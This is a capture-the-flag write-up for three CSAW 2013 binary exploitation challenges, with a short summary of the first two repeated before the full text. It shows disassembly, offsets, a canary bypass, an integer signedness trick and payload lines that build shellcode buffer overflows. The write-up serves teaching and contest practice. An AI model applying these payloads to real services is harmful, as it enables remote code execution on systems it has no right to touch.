Exploitation 200
A Linux ELF 32-bit LSB executable is given without NX. On connecting to the service running on port 31338
[*] We get 4 bytes of data which is the address of buffer used for recv() function and next 4 bytes is the return value of rand()
[*] The return value from rand() is used as a canary check
[*] 2068 bytes overwrites saved EIP
[*] 2052 bytes overwrites the canary
[*] Use the buffer address received to overwrite saved EIP and received rand() value to overwrite canary
Exploitation 300
On connecting to the application it asks for username and password. Provide the harcoded values csaw2013 and S1mplePWD as username and password respectively. Then it asks for Entry Info. Input given here is converted to integer using atoi() and checked if <= 0x400. If <= 0x400, recv() is called with size parameter taken from Entry Info
There is a integer signedness bug leading to buffer overflow. This is what the disassembly looks like
[*] Return value of atoi() is truncated to 16 bits ie. max value can be 0xffff
[*] Sign extension of 0xffff is 0xffffffff ie -1
[*] At 0x08048F31 the check is passed as (-1+1 == 0) <= 0x400
[*] When -1 is used as size parameter in recv() function, it is treated as unsigned int and becomes a huge value leading to buffer overflow
Bypass length check:
[*] soc.send(str(int(0xffff))) will bypass check for 1024 bytes allowing us to overwrite saved EIP
Finding return value with info leak using send()
[*] 1060 bytes overwrites saved EIP
[*] ret-into-ret till a good stack setup is reached like [ret | ret | .. | ret | send@plt | 0xdeadbeef | sockfd 0x4 | valid address in stack | some size parameter |
[*] This will dump data from stack. Using the address found in stack, one can find the location of payload
Final payload looks like this
Exploitation 400
Challenge file is a 32-bit statically linked ELF executable. Input of 1024 bytes is taken using read() function resulting EIP overwrite. This was the state of program during crash.
Final payload is:
A Linux ELF 32-bit LSB executable is given without NX. On connecting to the service running on port 31338
[*] We get 4 bytes of data which is the address of buffer used for recv() function and next 4 bytes is the return value of rand()
[*] The return value from rand() is used as a canary check
.text:0804884B call _rand .text:08048850 mov ds:secret, eax .text:08048855 mov eax, ds:secret .text:0804885A mov [ebp+var_C], eax ; canary .text:080488D5 mov dword ptr [esp+0Ch], 0 ; flags .text:080488DD mov dword ptr [esp+8], 1000h ; n .text:080488E5 lea eax, [ebp+buf] .text:080488EB mov [esp+4], eax ; buf .text:080488EF mov eax, [ebp+fd] .text:080488F2 mov [esp], eax ; fd .text:080488F5 call _recv ; recv() overflows buffer .text:080488FA mov [ebp+var_D], 0 .text:080488FE mov edx, [ebp+var_C] .text:08048901 mov eax, ds:secret .text:08048906 cmp edx, eax ; canary checkIdea of exploit:
[*] 2068 bytes overwrites saved EIP
[*] 2052 bytes overwrites the canary
[*] Use the buffer address received to overwrite saved EIP and received rand() value to overwrite canary
payload = shellcode[80 bytes] + ("A" * 1960) + rand + (buf_addr * 4)Flag: 53666e040caa855a9b27194c82a26366
Exploitation 300
On connecting to the application it asks for username and password. Provide the harcoded values csaw2013 and S1mplePWD as username and password respectively. Then it asks for Entry Info. Input given here is converted to integer using atoi() and checked if <= 0x400. If <= 0x400, recv() is called with size parameter taken from Entry Info
There is a integer signedness bug leading to buffer overflow. This is what the disassembly looks like
; atoi call .text:08048EAD lea eax, [ebp+buf] .text:08048EB0 mov [esp], eax ; nptr .text:08048EB3 call _atoi .text:08048EB8 mov [ebp+var_E], ax ; truncation to 16 bits .text:08048F09 mov eax, [ebp+arg_4] .text:08048F0C mov [ebp+var_4AC], ax ; truncation .text:08048F13 mov [ebp+var_C], 0 .text:08048F1A mov [ebp+stream], 0 .text:08048F21 movsx eax, [ebp+var_4AC] ; integer promotion/sign extension .text:08048F28 mov [ebp+n], eax .text:08048F2B mov eax, [ebp+n] .text:08048F2E add eax, 1 ; add 1 .text:08048F31 cmp eax, 400h ; comparison .text:08048F5B mov eax, [ebp+fd] .text:08048F5E mov dword ptr [esp+0Ch], 0 ; flags .text:08048F66 mov edx, [ebp+n] .text:08048F69 mov [esp+8], edx ; n ; treated as unsigned .text:08048F6D lea edx, [ebp+buf] .text:08048F73 mov [esp+4], edx ; buf .text:08048F77 mov [esp], eax ; fd .text:08048F7A call _recvSo what happens here is
[*] Return value of atoi() is truncated to 16 bits ie. max value can be 0xffff
[*] Sign extension of 0xffff is 0xffffffff ie -1
[*] At 0x08048F31 the check is passed as (-1+1 == 0) <= 0x400
[*] When -1 is used as size parameter in recv() function, it is treated as unsigned int and becomes a huge value leading to buffer overflow
Bypass length check:
[*] soc.send(str(int(0xffff))) will bypass check for 1024 bytes allowing us to overwrite saved EIP
Finding return value with info leak using send()
[*] 1060 bytes overwrites saved EIP
[*] ret-into-ret till a good stack setup is reached like [ret | ret | .. | ret | send@plt | 0xdeadbeef | sockfd 0x4 | valid address in stack | some size parameter |
[*] This will dump data from stack. Using the address found in stack, one can find the location of payload
Final payload looks like this
soc.send("A"*1056 + ret_addr[From leaked stack address - offset] + NOP *100 + shellcode)Flag: signness_oh_what_a_world_we_live_in
Exploitation 400
Challenge file is a 32-bit statically linked ELF executable. Input of 1024 bytes is taken using read() function resulting EIP overwrite. This was the state of program during crash.
0x8048f3d: mov ecx,DWORD PTR ds:0x80f0669 0x8048f43: mov edx,0x80f04d5 0x8048f48: lea edx,[edx+ecx*4] => 0x8048f4b: mov eax,DWORD PTR [edx] 0x8048f4d: mov DWORD PTR [esp],eax 0x8048f50: ret EAX: 0x80f0340 ('A' <repeats 200 times>...) EBX: 0x0 ECX: 0x41414140 ('@AAA') EDX: 0xd1409d5 ESI: 0x0 EDI: 0x8049770 (push ebx) EBP: 0x41414141 ('AAAA') ESP: 0x80f0444 ('A' <repeats 200 times>...) EIP: 0x8048f4b (mov eax,DWORD PTR [edx])To reach 0x8048f50 without any invalid memory access, we have to overwrite certain areas of memory with valid address. The idea was to load ECX with NULL and EDX with address of .bss so that mov eax,DWORD PTR [edx] doesn't sigsegv. The address where user input is copied, is not randomized, so can be directly used as return address.
Final payload is:
soc.send(NOP*375 + shellcode[26 bytes] + struct.pack("<I",0x080f0450)[ret address] + struct.pack("<I", 0x080f12a0)[.bss address] * 100 + struct.pack("B", 0x00) * 50)Flag: And_all_I_got_was_this_stupid_key